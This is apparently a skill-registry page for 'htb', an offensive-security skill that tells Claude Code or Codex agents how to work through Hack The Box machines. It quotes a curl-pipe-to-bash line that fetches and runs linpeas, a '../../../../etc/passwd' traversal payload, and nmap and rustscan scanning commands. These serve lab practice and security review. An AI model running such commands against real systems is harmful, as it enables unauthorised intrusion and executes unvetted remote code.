htb

htb is a skill for Claude Code, Codex from jessefmoore/offensive-claude-code. It costs 0 tokens per session (5,849 once invoked), scanned C, original, MIT.

A set of operating instructions for solving Hack The Box machines, which are security practice challenges focused on finding user and administrator proof files.

In plain words
What is it for?
Use it to guide step-by-step enumeration and problem solving on single-machine Hack The Box challenges.
Why use it?
It keeps the investigation thorough by explaining actions, checking every service, and recording dead ends.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is ?page=../../../../etc/passwd.

Good fit Use it to guide step-by-step enumeration and problem solving on single-machine Hack The Box challenges.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/jessefmoore/offensive-claude-code
agentmods
npx agentmods add skills/jessefmoore/offensive-claude-code/htb

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for htb

README.md
[![agentmods](https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/htb/github.svg)](https://agentmods.dev/skills/jessefmoore/offensive-claude-code/htb)
Your own site
<a href="https://agentmods.dev/skills/jessefmoore/offensive-claude-code/htb"><img src="https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/htb/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for htb

Your own site · 80×15
<a href="https://agentmods.dev/skills/jessefmoore/offensive-claude-code/htb"><img src="https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/htb.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 0 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,849 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. A grade says what 26 rules found in the file — not that it is safe. ✓ AI security review Sonnet 5 · 6 Sept 2026 📄 Read the review
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00000 $0.05849
Opus 5.5 $0.00000 $0.02340
Sonnet 5.5 $0.00000 $0.01170
Haiku 4.5 $0.00000 $0.00585

Measured 3mo ago against content hash 268a850f6b4b, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

htb scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
skills/htb/SKILL.md · 637 lines

How it starts

The opening of the file, as written. The whole thing — 637 lines — stays where its author put it; the contents beside it link to each section on GitHub.

HTB Operator — 0xdf Methodology

Persona

Hack The Box is a single-machine environment. There is no internal network to laterally traverse (except on Pro Labs / Fortress), no client to report to, and no engagement window. The objective is always the same: retrieve user.txt then root.txt. Every action is aimed at those two flags.

The 0xdf mindset:

  • Enumerate everything, skip nothing. A service you dismissed as uninteresting is often the intended path. If you "quick-checked" a port, check it properly.
  • Narrate the reasoning. Write down (or think through aloud) what you ran, why, what you expected, and what the result tells you. This is how you build pattern recognition that transfers to real engagements.
  • Note dead ends explicitly. 0xdf's writeups document what didn't work. Knowing why a path fails is as valuable as knowing why one succeeds.
  • Treat every service as potentially interesting. HTB machines are designed with an intended path; every open port is a clue. If something looks weird, it probably is.
  • CTF-creative thinking. HTB machines sometimes require lateral leaps (steganography, non-obvious encoding, unusual file permissions). This is normal and expected.
  • One foothold, then pivot. Unlike AD engagements, the machine usually has a single foothold path. Find it, own it, escalate. Don't try to parallelize before you have a shell.

This skill differs from the pentester skill (internal engagement persona). Use this skill when working on a single HTB machine. Use pentester for Pro Lab / network-level engagements (e.g., HTB Offshore, RastaLabs, Dante).


Phase 1: Initial Enumeration (always run all of these)

Full TCP Scan

Always start with -p- to catch non-standard ports. HTB machines regularly put services on high ports (8080, 8443, 9200, 27017, etc.).

# Thorough initial scan — run first, let it cook
nmap -sC -sV -p- --min-rate 5000 -oA nmap/full <IP>

# If the above is slow (Windows machines often are), parallel approach:
rustscan -a <IP> --ulimit 5000 -- -sC -sV -oA nmap/full

# Read results: look for
# - Service versions (searchsploit immediately)
# - Unusual ports (anything > 1024 is worth noting)
# - OS detection clues (TTL, Windows SMB strings, Linux kernel)
# - Default scripts output (anonymous FTP, SMB signing, SSL cert CN)

Read the full file on GitHub · 637 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3mo ago First seen · 637 lines · 0 tokens per session scan F 268a850f6b4b

Subscribe to this mod's changes

htb is a skill published in the GitHub repository jessefmoore/offensive-claude-code (3 stars, last pushed 2mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 5,849 tokens. A static security scan graded it C with 1 finding (downloads and executes remote code). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

htb compared with skills from other repositories

htb next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
htbjessefmoore/offensive-claude-codeSkill32mo agoMITC0Claude Code, Codex
hr-onboardingnexu-io/open-designSkill111ktodayApache-2.0A62Claude Code, Codex
book-mirrorgarrytan/gbrainSkill34ktodayMITA139Claude Code
lean-formalizewanshuiyin/Auto-claude-code-research-in-sleepSkill20ktodayMITA81Claude Code
deck-course-modulenexu-io/html-anythingSkill17k3d agoApache-2.0A25Claude Code, Codex
eli5companion-inc/feynmanSkill10k3d agoMITA63Claude Code, Codex
explore-unknownsdzhng/skillsSkill1.5k18d agoMITA162Claude Code, Codex